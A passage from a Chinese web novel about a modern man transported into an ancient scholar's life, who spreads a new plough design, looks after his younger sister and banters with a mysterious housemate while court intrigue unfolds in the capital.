陈昇心里不想让季铮放弃读书,寒窗几年都熬出来了,如今放弃岂不太亏了,何况造反艰难,有违常理,十有八九要败,那可是掉脑袋的罪名。 不过看季铮的变化,他不舍得让人变回去,还是以后好好劝劝吧。 “太棒了。”季铮上手捣鼓了一会,喜道,“能用!” 陈昇被夸的红了耳尖,“能用就行,季铮哥,图纸能不能再多留在我这一段时间,我想再看看,你若介意我不勉强。” 造一个从没见过,且凌驾自己认知之上的物件极难,单有图纸大概率连看也看不懂,更重要的是有一个跟得上的头脑。 而陈昇居然有模有样的倒腾出来了,还能做到正常使用,由此可见陈昇在机械制造上的天赋。 这样的香饽饽,季铮自然百依百顺,“没事,我改日再画一份就行,这份你拿着吧。” 陆观潮咬咬牙,不满想,怎么他要得干活换,给陈昇要却痛快? 陈昇道,“我阿姐来信了,说在路上耽搁了一夜,今天才到,季阿姐也一起回了。” “谢谢你告诉我了。”季铮眉眼带笑,“不聊了,我得回去收拾收拾。” 季铮和陈昇说完话,就要带着陆观潮离开。 “等等。”陆观潮道,“我昨日砍得树还在林子里没带回来,能否劳烦陈公子帮个忙?” 季铮奇怪道,“陈昇还有事要忙,一会我陪你去不就好了?” 陆观潮道,“你没劲,帮不上忙。” “?”怎么还带人身攻击的? 季铮道,“那你多搬两趟。” “没事季铮哥。”陈昇道,“我现在正好闲着,不碍事。” 陆观潮得意的看季铮一眼。 好贱。 方才口口声声说要少麻烦陈昇的人是谁? 季铮狐疑的看着陆观潮和陈昇离开,心中祈祷,千万不要打起来啊。 “陆哥。”陈昇一边走一边道,“我和你季铮哥关系很好,你对我不用这么生疏,直接叫我名字吧。” 陆观潮没回话,脚下步子又急又快,陈昇被他甩掉。 氛围冷寂的仿佛结了一层冰。 眼看就要走到林子深处,怕呸碰上大虫,陈昇硬着头皮问,“还没到吗?” 陆观潮毫无征兆的停下。 “你和季铮关系很好?” “是,是。”陈昇被这一句没头没尾的质问搞懵了,“我们自小一块长大,情谊亲厚些。” 陆观潮看向他,“他也给你买过衣裳?” “啊?”陈昇回忆片刻,老实答道,“没有。” 陆观潮冷“哼”一声,没后文了。 陈昇细细想来,他没记得自己得罪过陆观潮,想起季铮曾给他说陆观潮脾气大,这可不是一般的大,对季铮多了几分佩服。 陆观潮道,“季铮有才学,你最好认清情况。” ——识相点,不要在季铮身边做拖油瓶。 “害。”陈昇笑道,“我知道。” ——请放心,即便季铮真要造反,我义不容辞。 两人在没听懂对方言下之意前提下,离奇的达成共识。 陆观潮是一个人回来的。 这里讲究男女授受不亲,就算是血亲也有规矩,季铮不好进姑娘家屋子,只简单清扫一番就出来了,大不了等妹妹回家问过后再彻底打扫。 打眼看到陆观潮带着木头回来,疑惑问,“陈昇呢,他没跟你一起?” “他?”陆观潮语气透着高兴,“管他做什么?” 陆观潮很奇怪,这奇怪也不是一天两天的了。 季铮没放在心上,也懒得思索他话中深意,回房忙着清点手中银钱够不够给妹妹买一份见面礼。 陆观潮在屋外忙碌了一会,想起什么,起身站在门边问季铮,“你打算怎么和她解释我。” 季铮回头,看着陆观潮思考几秒,穿过他看到初具雏形的桌案,渐渐有了主意。 傍晚,季状元背着小包袱,慢吞吞的往家里挪。 她本劝好自己,临到家又反悔了,在陈家小待了会,天色实在太晚了才辞别陈姑娘回家。 听赵大爷说,季铮当真亲自耕田了,她暗戳戳想,怎么不饿死季铮? 这个念头才出,季状元惶恐的晃晃脑袋。 不好不好,她怎么能这样想。 再抬眼,已经到了家门口,季铮正在院中等她,脸上挂着笑。 季状元猜季铮是为了朝她要工钱,从前每每回家,季铮第一句就是问工钱多少。 但这一次不一样。 季铮和她欢欢喜喜的打了招呼,接过她的包袱,问一路赶路累不累。 更不一样的是。 家里多了个男人。 男人冷着脸,面上有一点散家痣,眉目薄凉,看得她后背凉飕飕的。 季铮不会丧心病狂要卖了她吧?! 12. 第 12 章 季铮手上动作顿住,才发现自家妹妹扯着包袱,战战兢兢,一副天要塌了,你好恶毒,我好无助的表情。 “季……嗯。”季铮叫不出状元这种难听到极点的名字,两个字在嘴里转了又转,最终还是咽进肚子里,道出一句为时尚早的妹妹,“我的错,吓着你了。” 季铮放开小姑娘的包袱,方觉自己的行为显得太热情了些。 “阿兄。”季状元抱着包袱,下意识向后退了一句,不着痕迹看陆净规,“这位是?” 季铮介绍道,“这位是,我给你请的教习先生。” 季状元一呆,眼睛睁大,话都说不利索了,“教,教习先生?给我?” 陆观潮环胸而立,嘴角才勾起一个弧度,想到自己笑的并不好看,硬生生的憋住了。 他颔首,“我叫陆观潮,随便你怎么称呼。” 季状元愈发害怕了,捏着布料的指关节微微发白,看向季铮的目光中尽是不信任。 原身到底是如何亏待她的,季铮一阵头疼。 这才多大点的小姑娘,指尖生茧,又瘦又小,干瘪的身材只剩下骨头架子,穿着衣裳也遮不住,因脸型削瘦,一双眼睛显得格外大。 本该天真烂漫的年纪,却存了这么强戒备心,活像是只惊弓之鸟,一点风吹草动都要吓的防备起来。 季状元道,“不必为我请先生,这些钱还是留给阿兄你备考吧。” 什么给她请的,更像是给自己备下的,图个好名声吧。 反正她过不了几日就得去做工,届时好处不还是被季铮占了? 眼看着季状元十分抗拒,就要是说不通的样子,以后在一个屋檐下,她身为季铮妹妹,得问过季状元的意思才好留下陆观潮。 可季状元不愿,总不能把陆观潮撵出去吧? 他倒是这么想过,但陆观潮为他出力不少,偶尔通人性了也能解解闷,就吃得多这一个坏处。 更重要的是,陆观潮包揽了家里一切脏活累活,清晨施肥用的粪便正是他去挑的,季铮离不开他了! 依照人道主义,他不可能做出这种事。 抛去人道主义,季铮的内心也不允许他这么对陆观潮。 正在他考虑怎么再劝时,陆观潮开口了。 “已经交了定钱。”陆观潮凝眉,做出不悦的模样,“我大老远跑过来,你们就这样戏弄我?现在我回家的盘缠没了,你们不留下我,就官府见吧。” 兄弟好招数。 伤敌八百自损一千,赔本买卖做到极点,自毁形象天下无敌,可谓是为以后当人先生埋下一枚威力弹,炸了能把人熏成碳的程度。 换而言之,你就这么吓唬人,谁敢跟着你学? “好。” ! 还真就被吓唬住了? 季状元低眉垂眼,“既是阿兄的一番心意,我便不推脱了。” 妹妹,不要为邪恶势力低头! 季铮一边担心季状元性子太软会受欺负,一边不道德庆幸陆观潮唬人很有一套。 “不过。” 季状元又道,“我这次做工弄坏了主家的织机,工钱用来赔,没钱来交学费。” 她撒了谎。 织机是去年她从主家手里买的,本来就是个坏的,而工钱在她荷包里。 季状元紧张又坚定的望向季铮。 她想知道,自己没了钱,季铮还会不会装这幅善良样子了。 只见季铮眨眨眼,问道,“被主家说了吗?” 季状元有一瞬间的呆滞。 “是不是被训了。”季铮安慰道,“人无完人嘛,犯些小错误很正常,不要放在心上哈。” 季状元眼神移向陆观潮,陆观潮在看季铮,眸色复杂看不出情愫。 “你是担心学费?”季铮又问。 季状元轻轻点了下头。 “不用担心。”季铮拍着陆观潮的肩膀,笑的露出一排牙齿,“他免费!” 陆观潮附和道,“我免费且倒贴。” 屋内很整洁,季状元依稀记得上一次回家,她的被褥成了老鼠的家,墙角蜘蛛网上甚至还挂着半条死虫子。 如今却大不相同。 被褥整洁,大抵是提前晾晒过,除了衣柜没有变化,其他的地方皆焕然一新。 房子最中间,摆着一张桌案,她曾给主家小姐送绣花样子时看到过。 和记忆里的一对比,这张略显粗糙,但磨得极平整,比她的手指还要光滑几分,季状元伸手拂过,万分珍重。 季铮是真的想让她读书。 这怎么可能。 且不说季铮自私自利的性子,再说她一届女子,读书能又不能科举,岂不是白白浪费。 她正思索,屋外传来拼拼乓乓的声音。 “陆观潮你到底会不会用?” 接着是男人压抑着愤怒道,“若不是你一直影响我,我早就上手了。” 季铮道,“这是人陈昇辛辛苦苦做出来的,我是怕万一被弄坏了。” 更何况,他影响什么了,不就是夸了陈昇几句,不至于对着曲辕犁发脾气吧? “陈昇?”陆观潮记起昨日陈昇说过的话,冷嗤一声呛道,“你不是和他关系好吗,干脆再去找他啊。” 季铮恍然大悟,“我就说你为什么总是夹枪带棒,原来是对陈昇有意见,怪不得每次去他家里你都怪怪的。” “你!” 陆观潮愤愤的盯着季铮,气得说不出话。 傻子,就是跟陈昇待久了所以才这么傻。 季铮试着缓和两人的关系,道,“咱们也算共患难了,我的兄弟就是你的兄弟,我不懂你为什么不喜欢陈昇,但他有没招惹你,你总对他摆脸色是几个意思。” 傻子,陈昇有如此天赋,我们得好好抱紧大腿啊! 不曾想,陆观潮听到了更生气了,撂下手中的曲辕犁回屋,不再理季铮。 不可理喻。 “阿兄。”季状元探出脑袋,道,“怎么了?” 季铮猛地反应过来家里还有一个妹妹,懊悔自己不该和陆观潮在院里吵架的。 他笑道,“没什么,我们说话比较大声。” 季状元张了张嘴,还没出声,目光越过季铮被曲辕犁吸引,奇怪道,“这是?” “这个。”季铮招招手,给她展示,“我托陈昇把辕犁改了改,来,你看是不是比原来的轻巧。” 季状元新奇的盯着看,却始终不敢动手,季铮没多想,还当是她不会,便道,“无妨,明日让你瞧瞧。” “阿兄改的?”季状元微微张大嘴巴,她不清楚改后有什么奇妙用处,只是士农工商,感概季铮从前还嫌陈昇是下九流,现在居然会做这些。 她不敢置信的上上下下看了曲辕犁好几遍,干巴巴道,“阿兄真是有雅兴。” 季状元顿了顿,问道,“那我房里的桌案?”

“哦。”季铮道,“怎么样,喜欢吗?那个是陆观潮弄给你的,我前几天写了字帖,今日晚了些,明天再给你看。” 季状元望了望房门,陆观潮还没出来,她不禁担心,“这位陆先生,什么来历。” 请一个教习有多贵,季状元不了解,曾经一家子人供季铮读私塾,尚且还无力负担。 主家请了先生,据说陈姑娘只需给主家小姐端茶研磨,一个月的光赏银都比她的工钱多,陆先生即使是找上门来的,价格也绝对不会少。 什么免费还倒贴,季铮一定被骗了。 季铮为了博取季状元的信任,费尽心力给陆观潮编了一个凄惨的身世,解释道,“这些话我们私下说说,你不要当他面提起。” 季状元点头答应。 又听季铮继续说,“他啊,自小没了娘,爹爹偏宠大哥,头几年也不在了,他哥为了贪下全部家财,竟要害他姓名,好不容易逃难到这来的。” 季铮平时虽傲慢,但心底记挂着君子一言驷马难追,轻易不说没根据的话。 季状元不免动容,叹道,“真可怜。” “可怜?我?” 陆观潮忽的推门出来,吓了两人一跳。 季铮问,“你怎么出来了?” “做饭。”陆观潮一本正经道,“不然吃什么。” 季状元年纪不大,还是会被话本子里悲情故事感动的时候,得知陆观潮的经历,忙道,“先生您放下,让我来吧。” 季铮给陆观潮使了一记眼刀,陆观潮了然,背过身躲开季状元的手,“是,我很可怜,所以不要抢我的活干了。” 许是陆观潮太凶,季状元悻悻收回手。 她犹豫再三,鼓起勇气问,“先生晚上住我房间吧,我去陈阿姐家。” 陆观潮没贸然拒绝,而是看着季铮,等他说话。 直到听季铮说,“陆观潮和我住一间。”才露出笑。 “可。”季状元不解道,“阿兄你房中不是只有一张床吗?” 自从季铮给陆观潮晒被子不小心惹出祸后,为防止再发生这样的情况,两人一直挤着睡。 有时候干活累了,季铮闭眼就着,丝毫不顾忌身边这个人的感受。 季状元这一句提醒他了,他一向睡得熟,陆观潮睡得怎么样就无从得知了。 是夜,季铮特意问,“我晚上睡觉是不是不老实?” 陆观潮回忆起前几夜,哽了许久,最终勉强道,“还好。” 隔日,季状元起得早,出门时却撞上陆观潮。 男人扛着斧头,将柴火整齐码好,朝她简单颔首,忙着做早饭去了。 这位先生,还真是与众不同。 陈昇一直在埋头研究图纸,没余力大肆宣扬季铮的才敢,这还是曲辕犁第一次露面。 一路上,引起不少人来看这大家伙,纷纷问道是个什么东西。 季铮一一热情讲解,还领人去田里亲自操作,起初还只是凭着季铮生员的身份奉承两句,但真动起来,却都不说话了。 静了一瞬,众人七嘴八舌的议论起来,碰过的还想试试,没碰过的急着下一个试,称赞声皆发自内心了。 季铮一边回应,一边敲了系统。 脑海里没有系统任务成功的提示音。 季铮至今不知,任务四普及曲辕犁至临沂村的评判标准是什么。 人人知道,还是人人学会,又或是人手一个? 13. 第 13 章 季铮中邪了。 这是季状元看着手中字帖,冒出的第一个念头。 字迹娟秀,漂亮极了,不同于她曾见过的刻意模仿的大气磅礴。 季铮解释说是适合小姑娘练,他何时有闲情雅致研究小姑娘喜欢什么字体了? 平日里不是读书魔怔到舍不得进厨房吗? 季状元很想质问季铮,可惜她不敢,怕这个中了邪的季铮恼羞成怒不肯再装了。 更重要的是,自从曲辕犁亮相后,季铮变得格外忙碌,总有她连名字都加不出来的人找上门,脸皮厚的美言一番,脸皮薄的带着瓜果粮食。 所有人只有一个目的,为了曲辕犁。 因着他们,这些天三人的伙食明显改善,季状元脸颊多了些肉,气色也比第一天回来是好得多。 偏偏季铮这个以往里最不屑于黎民多聊,生怕沾染晦气的主,竟出奇热情,一有人来,不论是在做什么,放下手中的活积极的到处帮忙。 活像只花蝴蝶。 这是陆观潮说的。 对此,季状元诧异中不乏欣慰,自己的阿兄总算是办了实事,而陆观潮却不同了,怨气大到季状元都担心,每天阴着张脸。 季铮受欢迎,陆观潮干嘛不高兴? 再一次季铮吃饭吃一半被叫走,隐忍许久的陆观潮终于发怒了。 他一把放下筷子,发出啪的一声脆响,还没来得及说话,怀里被塞了满怀——一筐鸡蛋。 隔壁村的刘大妈来借多次,两地间隔不近,一次就要半天多的时间,她一直没带报酬,心里过意不去,对着季铮很不好意思,也拿不出多贵重的东西,便攒了框鸡蛋送来。 刘大妈死活要给他,季铮推脱不下,只好收下,安排陆观潮道,“你煮几个给妹妹吃,我先走了,中午不用等我。” “……” 陆观潮顶了顶腮,抬眼看季铮问道,“那我呢?” “你?”季铮反应了一次才明白,“你也吃啊,这么大人了,还要问我?” 他忙着完成系统任务,据他的推测,既然没有标准,那做到极致一定没错,先教技术再发图纸,授人以渔也授人以鱼,完美。 季铮走了,陆观潮坐在桌前良久,季状元捧着碗,慢慢喝米粥,时不时瞄一眼陆观潮,直至一碗米粥见底,她打了个嗝,陆观潮的脸色也没有缓和一丝一毫。 季状元眨眨眼,试着换了一句,“陆先生。” 陆观潮恍然回神,却还是臭着脸,接过季状元手中的碗筷,收拾完桌子提上鸡蛋,往厨房走去,路上嘟囔了一句, “花蝴蝶似的招人,什么时候才能安生。” 季状元没听明白,但也觉得花蝴蝶合适季铮,变了性格的季铮就如蝴蝶一样惹人喜欢呢。 不让她收拾卫生,怕她坏眼,绣花也订了时限,隔三差五带她下地,什么也不让干,纯带出去玩。 原来有阿兄是这样,怪不得主家小姐盼着有位阿兄。 陆观潮捏起一枚鸡蛋,手下微微出力,鸡蛋壳碎开,蛋液流了一手。 好浪费,季状元想提醒但不敢,默默捂住嘴回房躲着,关上房门前,她猛然想起一件事。 季铮昨日好像答应她今日腾出一天时间,陪她上镇里买针线的,顺便给陆观潮买一件襻膊,只因陆观潮说干活不方便。 陆观潮眼疾手快接住鸡蛋,他暗想,还好没掉地上了。 加水煮蛋时,陆观潮又想,季铮说话不算话,称不得一句君子,文人不是最在意信用吗,季铮是个假文人? 所以才会亲自下田,才会说什么一听就知道是蛊惑人心的人无完人,才会撒谎成性。 可季铮到底是正事在前…… 也罢也罢,陆观潮为老师,毕竟不是季铮唯一值得深交的朋友,他总得学会交友之道,理应劝自己要包容这个不会遵守承诺的学生。 几日相处下来,陆观潮比季铮还奇怪,季状元收到鸡蛋后,直愣愣的看着陆观潮,等他安排今日的任务。 季铮让她读书,奈何她入学太晚,实在很难开窍,陆观潮一个人要照看家里家外,自然很少有闲下来的时间,常是每日早上吩咐下任务便去做活,完事后再教导她。 且只教导她读书,从不动笔写字,以至于季状元要等季铮回家后才能练字,到现在也只是单认识不会写。 季状元曾壮着胆子问过陆观潮为何非要让季铮来教习字,皆被陆观潮随口糊弄过去,明明他的学识不浅,教书比她偷听的小姐的先生还要引人入胜几分。 季状元不懂,但陆观潮自有他的道理,也就压下好奇不问了。 陆观潮留了课业,说要上山砍柴,中午会回来晚些,季状元点头应允,目送人离开,她叹了一口气,捏着笔笨拙临摹季铮写的字帖。 纸并不便宜,季状元不由自主的把字写得极小,一个“秧”字写了慢慢一页。 “季生员。” 季铮回头,瞧见来人,是一位此村的村长,他多次带曲辕犁来帮忙,两人有过一面之缘,倒没说过几句话,这回亲自找来,应是为了曲辕犁的事。 村长上了年纪,杵着根拐杖,半头白发,他怕季铮忙完离开,因而走的急,摇摇欲坠的模样,一个瘦矮的小老头。 一并而来的,有不少面熟村民。 季铮紧走两步扶了一把,“不急,我还应了隔壁的人家,今日回的晚。” “太好了。”村长喘着气站稳,“我听人说你来了,这紧赶慢赶,前几次总也碰不上,总算是见到你了。” 季铮道,“怎么不找人来说一声,让我晚归片刻。” 村长摆摆手,“怎好麻烦生员大人。” 又来了,对官老爷盲目追随的样子,季铮才穿来时不经常出门,只对这时代追崇文人有个模糊的印象,后来为了宣扬曲辕犁早出晚归,听着周围人一口一个大人叫着。 连季铮长在新时代都难免被夸的飘飘欲仙,也难怪原身考中后会养成这种恶劣的性格。 季铮叹了口气,“不必叫大人,直接叫季铮就成。” “不成不成。”村长惶恐道,“逾矩了。” 习惯是一朝一夕建立起的,季铮没信心能把她们的思想掰回来,再说新时代的思想也未必合适当下,他强行要求,最有可能的下场是被当做读书读坏脑子的呆子。 他劝了两句无果,就不再劝了,道,“村长寻我何事,也是要借辕犁?” 村长瞟了两眼,眸底是明晃晃的渴望,他咳了一声,“生员大人,是这样,老朽斗胆求您,这辕犁图纸能否买我们一份,也不必辛苦您一趟趟的跑了不是?” 季铮正有此意,他来这村子多次,等的就是这句话,甚至还鸽了妹妹和陆观潮。 这图纸交出去,又有他这几日的铺垫,村 子里人会造会用,一定程度上也算达标要求了。 虽然是为了完成系统任务,但该拿的好处不能少拿了,他端着笑脸,问道,“村长,这借给你们是情谊,若卖给你们是生意,可就谈不了情谊了。” 村长不禁严肃起来,“这我当然知道。” 他朝后挥了挥手,自家儿子捧着个木盒给季铮看。 是一盒钱,有铜板,有银钱,还有一支素银簪,新钱旧钱各半,可见是全村凑出来的。 村长讨好般道,“暂时是这些,我们也知道此物贵重,大人若不够,我再想法子凑。” 做人留一线,季铮深知这个道理,他当众取出一半,道,“这些就够了。” 村长抖着手接过,一一分发下去,颤着腿欲要给季铮行个大礼,“大人!” 季铮很不理解,做什么要动不动跪一个以示感谢,说一句我很谢谢很难吗? 和村长三送三辞后,季铮总算是让村长断了磕个头的想法。 季铮没时刻带着图纸,两人约了下一次见面。 正要走时,他忽的想起什么又折返回来,从盒子里取出一些银钱问村长道,“您这里可有多余的襻膊和丝线?” 季铮到家时,陆观潮才出厨房。 两人对上视线,季铮率先打了招呼,“在做饭?辛苦了。” 陆观潮冷“哼”一声,疑似翻了个白眼,没理季铮折返回厨房。 季铮尴尬的摸了摸鼻子,又惹到家里的祖宗了。 季状元闻声出屋,“阿兄,你今日回来的好早,可用过午饭吗?” “还没。”季铮招手让季状元过来,给她看手中的东西,“这给你带的。” 季状元看看银簪,又看看季铮,抿唇犹豫半晌才接过。 银簪并不精致,或许是谁的旧物,可她长到现在,这是第一件像样的首饰,一时激动的说不出话,眼底溢出泪水。 季状元攥紧袖子擦了擦泪水,眼圈红红望向季铮,“多谢阿兄,我很喜欢。” “喜欢就好。”季铮一指曲辕犁的方向,“给你带了线,去看看能不能用。” 季状元妥帖收好银簪,兴冲冲的跑去看线。 哄好一个,季铮趁此钻进厨房哄另一个。 “还要再等等才能吃饭。”陆观潮盯着灶台,“不是说不用等你吗,我没做你的饭。” 季铮靠在门边,惊道,“真没做?你好狠的心!” 陆观潮嘴角轻轻勾起,又被强制压下,不冷不淡吐出一个“嗯。” “这个给你。”季铮塞给陆观潮襻膊,“今日没时间去买了,我把曲辕犁图纸卖给隔壁村的村长了,换了点银钱,顺便给你讨了这东西,怎么样,这下能让我吃饭了吧?” “你卖了?” 陆观潮气道,“这又不是稻谷粮食,给出去还能再生,就这样卖了?” 大都传来的消息说陆泽仍在病重卧床,这不符合他一贯的风格。 陆泽身子差是真,时不时重病一场威胁他回京是真,但这一次时间未免太长了,万一真出了事,大周外有强敌,内有早有反心的岭山候,天下定要乱。 季铮看不清局势,竟曲辕犁这般宝贝随便卖了,只换了这点钱和一条破襻膊? 陆观潮恨铁不成钢的看的季铮直发毛。 季铮弱弱道,“不喜欢我再去给你买新的,至于这样吗。” 14. 第 14 章 “我。” 陆观潮哑火了,瓮声瓮气道,“我没有不喜欢。” 他说着,盯着襻膊一时无言,半晌才道,“这世道迟早不安稳,你考中生员免除征兵,不知道辽军的凶险,万一来日天下大乱,你凭着辕犁能在乱世中有一席之地。” 也罢,若真乱了,陆观潮总能护住一个人,何必苛责季铮这点大方。 “大乱?”季铮的确没经历过这些,对战争唯一的印象是,大学社团团建一起看的抗战电影。 这个时代的辽军自然与他书中学到的辽军不同,季铮常和赵大爷闲聊,因着赵大爷儿子参军总捎回信来,从赵大爷口中得知不少军中的事。 比如此辽军亦是汉人,前几十年朝中内乱,还是骠骑大将军的夺军权,带人造反夺了北地的几座城池,自封皇帝。 比如辽军欲要占领十六州,若不是有煞星珏王守着,恐怕早就踏平大周的。 这般说,珏王也是一代枭雄,可惜每次说起这煞星王爷,赵大爷便一副支支吾吾的样子,不肯多说一句话,以至季铮对这人很是好奇,无奈了解并不深。 陆观潮说出口才惊觉自己说多了,再说下去,恐身份暴露,闭了嘴默默戴上襻膊,往火里添柴火。 比起和他差十万八千里的辽军,季铮更想知道大周的情况。 于是季铮搬了把凳子坐在陆观潮身边,戳了戳他问,“听你的意思,是知道其中事,依你之见,大周的将军如何?” “你真想知道?”陆观潮瞥了一眼季铮,不以为然。 季铮“嗯”了一声,“不然问你做什么?” 陆观潮无意识捏起衣角,理智告诉他不能再说了,但在季铮无声的催促下,没忍住说出口,“好吧。” 他也很想知道,季铮对武将的看法。 “大周自从骠骑将军造反后将军一职便被挂起,再无实权,今有三人可勉强称一句将军。” 陆观潮捡起一根木枝,在地上画了张简单的大周地图。 画到一处,他眼底闪过一抹麻烦,顿了顿才讲道,“岭山候管西,西部无战事,人闲下来就要找点事做,此人心怀不轨,在军中也不过挂名主将,手中无实权,有传言他背地里在招兵买马,无人得知他如今到什么地步了。” 说到镇南候,陆观潮心情很好,可见是对镇南候有好感,“镇南候多年前伤了根基,先帝召进宫教习皇子,当今陛下登基后被外派管江南,资历极深,受两朝圣眷,于军中地位不低。” “十六州在这,由珏王看守,一个煞星,出生克死了亲娘,又克得皇兄疾病缠身。” 季铮很不理解,“就这?” 他没想到陆观潮也信鬼神,对什么狗屁煞星会有意见,提起珏王不谈功绩,不谈过往,揪着一煞星名号不休。 “还想听什么?”陆观潮挑了下眉毛,手下胡乱画着,一副地图很快看不出形状。 季铮道,“比如他和陛下的关系如何,他本人能力怎样?” 陆观潮又问,“珏王?不嫌晦气吗?” “这有什么的?”季铮诚实道,“他们说珏王是煞星,若珏王真是煞星,又怎么会打下胜仗,守住十六州?” 陆观潮一怔,垂头不再看季铮,“自是皇上福泽绵长,天佑大周。” 季铮探头盯着陆观潮,良久笑道,“你自己都不信。” “……” 陆观潮眨了眨眼,心中嫌弃惊涛骇浪。 季铮这番话太离经叛道。 可他,好喜欢季铮这番话。 季铮说完,想起什么,问,“你知道这么多,之前参过军?” 他忽的睁大眼晴,“你不会是哪家少爷过不管军中苦日子,跑出来当逃兵吧?” 陆观潮还当季铮多聪明,登时被这猜测气笑了,也没反驳,就这么应了,“对,之前是我骗了你,你可不许说出去,不然我的小命就玩完了。” 无论是哪个时代,逃兵的处罚结果都很严重。 季铮郑重一点头,“放心兄弟,我一定守口如瓶。” 他又问,“那你的爹娘呢,他们不担心你吗,可要传信回去?” 陆观潮敛了笑意,“死了。” 季铮哽了一下,不说话了,陆观潮继续道,“都死干净了,所以也不会管我,不然你当我为什么要冒着诛九族的风险做逃兵。” 当然是全家只剩一个了,季铮在心底补上这句很不道德的话。 “也是。”季铮一时不知该如何安慰他,只好向陆观潮的位置挪了几步。 两人肩膀挨着肩膀,季铮长臂一揽,十分勉强把陆观潮揽入怀里,他极轻的拍了两下,道,“人生在世嘛,总要向前看,你看我,虽然科考不上,也没爹没娘,哦,我有一个妹妹,不过这不是重点……” 陆观潮一动不动,连表情都做不出来了,他看着季铮搭在他臂上的手出神。 指甲修理圆润,骨节分明,修长白皙,略有一点厚茧,并不明显,是一双没干过重活的手。 竟然真有人,手指头都这么赏心悦目。 “阿兄?”季状元指了指灶台,打断道,“饭好像好了。” 季铮还在絮絮叨叨的劝陆观潮,恍然发觉,忙掀起锅盖一看,果不其然。 他百忙之中回头看陆观潮,却撞见一抹还没来得及伪装的笑容,心中一片感慨。 这人真是太可怜了,居然已经学会了苦中作乐,他猜到陆观潮会很惨,没想到这么惨,以前不知道,以后定要多照顾照顾。 季铮这么想,吃饭时把自己碗里的鸡蛋夹到陆观潮碗里。 陆观潮面容抽搐,“给我干什么?” “没什么。”季铮看着陆观潮道,“你多吃点,下午还要干活呢。” “陛下怎样的?” 福寿禄刻意压低了声音,问面前的年轻太医。 太医姓李,名不言,人如其名,不大爱说话,不卑不亢道,“此乃旧疾,根治棘手,但未尝无能一试。” 太医院一群吃老本的,围着陛下诊治了多少天,没一点成果,福寿禄看着心焦,便做主远下荆州请了李神医来。 据传言,这位神医能医死人肉白骨,说的天花乱坠,神乎其神。 福寿禄本也是不信的,但听他这么说免不了松了口气。 李不言道,“莫要再让陛下过多思虑,此病最忌费心。” 福寿禄一一应下,和和气气的送走李不言,默了默,转身入殿。 殿内熏着龙涎香,陆泽靠在榻上,奏折堆成座小山。 他攥紧拳放到唇 边咳了声,接过福寿禄递来的茶杯抿了一口。 福寿禄道,“陛下,李太医说您——” “不必再说。”陆泽摇头,“皇弟不归家,朕心何安?” 福寿禄还想再劝,被陆泽不耐烦挥退,无可奈何,行了一礼退下。 踏出殿门时,好巧不巧撞上一人,当今太后娘娘孙氏。 福寿禄请安,“太后娘娘安好,陛下还在处理政务。” 孙太后点点头道,“我听李太医说了,哀家来劝劝。” “是。”福寿禄主动让开,恭请孙太后进殿,识相的守在殿口,没跟进去。 陆泽乍一看到孙太后来,下意识起身,被孙太后拦了一把又靠回去。 “母后。”陆泽道,“劳烦您来了。” 宫女扶着孙太后坐下,得到眼神示意后纷纷退下。 孙太后怜惜道,“皇儿,你辛苦了。” “无碍。”陆泽安抚着,眼中却涌起愤恨,“云州的探子来报,说陆观潮这厮死了。” 孙太后奇怪道,“死了?不是失踪吗?” 陆泽哪里知道,这陆观潮向来命大,怎么可能就这么不清不楚的死了,可探子验过尸,确实是陆观潮不假,他不信也得信。 不过陆观潮死了好,反正陆泽就是要他死,倒顺了他的心意,陆泽恨恨想,这死法真是便宜他了。 田里家里都有陆观潮,季铮给刘村长送去图纸后就闲了下来,于是总去陈昇家里跟着一起研究曲辕犁的图纸。 因陆观潮不喜陈昇,季铮特地挑他不在的时间,带季状元去串门。 有时没卡准时间,在陆观潮之后回家,免不了受一顿白眼。 好在季铮掌握了哄陆观潮的秘诀,陆观潮一有发火的征兆,季铮便抱一抱,装傻充愣,嘻嘻哈哈的就糊弄过去了。 与此同时,他琢磨着给季状元换名字,想了许多字都拿不准,偷摸和陆观潮商量了几次,终于敲定了一个“秧”字。 秧,禾若秧穰也。 指的是禾苗长得繁盛,茂密的样子。 季秧,不错不错,很是顺口。 和季铮放到一起一听就是亲兄妹,再加上季状元已然练会这个字,写起来不会生疏。 可惜在这个时代更名是违背祖宗的大事,陆观潮知道是给季状元改名目瞪口呆,那表情滑稽极了。 季铮是不在意这些的,就怕妹妹落人口舌,故得找个合适的氛围提出来。 这日,陈昇主动来找季铮,“季铮哥,明日有庙会,你去吗?” 季铮约了季状元带她去山上摸鱼,正要拒绝之际,季状元冒出来一句,“是卫镇吗?” “正是。”陈昇道,“我阿姐说主家给的假要结束了,明日要启程回去了,让我顺便来问问季阿姐你要不要顺路一起去。” 季铮看向季状元,问,“你还要回去吗?” 季状元有些迟疑,一来陆先生在家,二来季铮这几天待她太好了,她竟会不舍。 “我。”季状元眼眸闪烁,“我要去的。” 要赚钱的,陆先生不要钱,她不能不给,即便再少也是心意。 季铮看出她的一丝不情愿,心疼的揉了揉她的脑袋,顶着落日余晖,他道,“不想去就不去,有阿兄在呢。” 15. 第 15 章 因季状元只是帮工,没有和主家签身契。 季铮写了份辞呈,打算托陈姑娘一并送去,也不必他们大老远跑过去了。 季状元说什么也不肯,一定要去一趟。 小姑娘的性子季铮捉摸不清楚,想着大概是她骤然不干了,要和一起做工的小姐妹告别什么的,便不再多说答应了。 他如今闲着,想和季状元聊天,又不知道能聊些什么,思来想去,憋出一招最无趣的办法——教书。 季铮就地摊开辞呈,一个一个字指给季状元辨认。 虽说她启蒙晚,但人聪明,加上有偷听来的基础,学的极快,季铮教起来很有成就感,看着妹妹是一日胜一日的喜欢。 给季状元改名的想法也一日比一日的强烈。 他念完一句话,转而试探着问季状元道,“那个,你不觉得现在的名字不好听吗?” “名字?”季状元没搞懂季铮为什么问这个,愣愣道,“我不觉得啊。” 季铮急的就要上火,敢情季状元压根不在意,换而言之,她从没考虑过自己还可以改名。 陆观潮在砍柴,余光一直看着他们这边,看出季铮一瞬间的不知所措,放下斧头出口道,“你没想过吗?” 没有第三把椅子,他踱步而来,站到两人身后,指向辞呈书上“季状元”三个字。 陆观潮道,“以这种名字示人,他人听闻,只当你是季铮可有可无的附属品,谁知道你是谁?” 季状元似懂非懂,她抬头看季铮,小心问道,“我可以更名吗?” “可以。”季铮兴冲冲的要掏出自己拟的备选单,怕秧字她不喜欢,还挑不少寓意好的字词。 陆观潮不动声色的捉住季铮的手,没让他拿出单子。 季铮还没问,就听陆观潮道,“更名是你自己的事,自然要你自己做决定,问季铮有什么用。” “我……”季状元看着辞呈上的名字,拿不定主意。 季铮这下懂陆观潮是什么意思了,一阵懊悔。 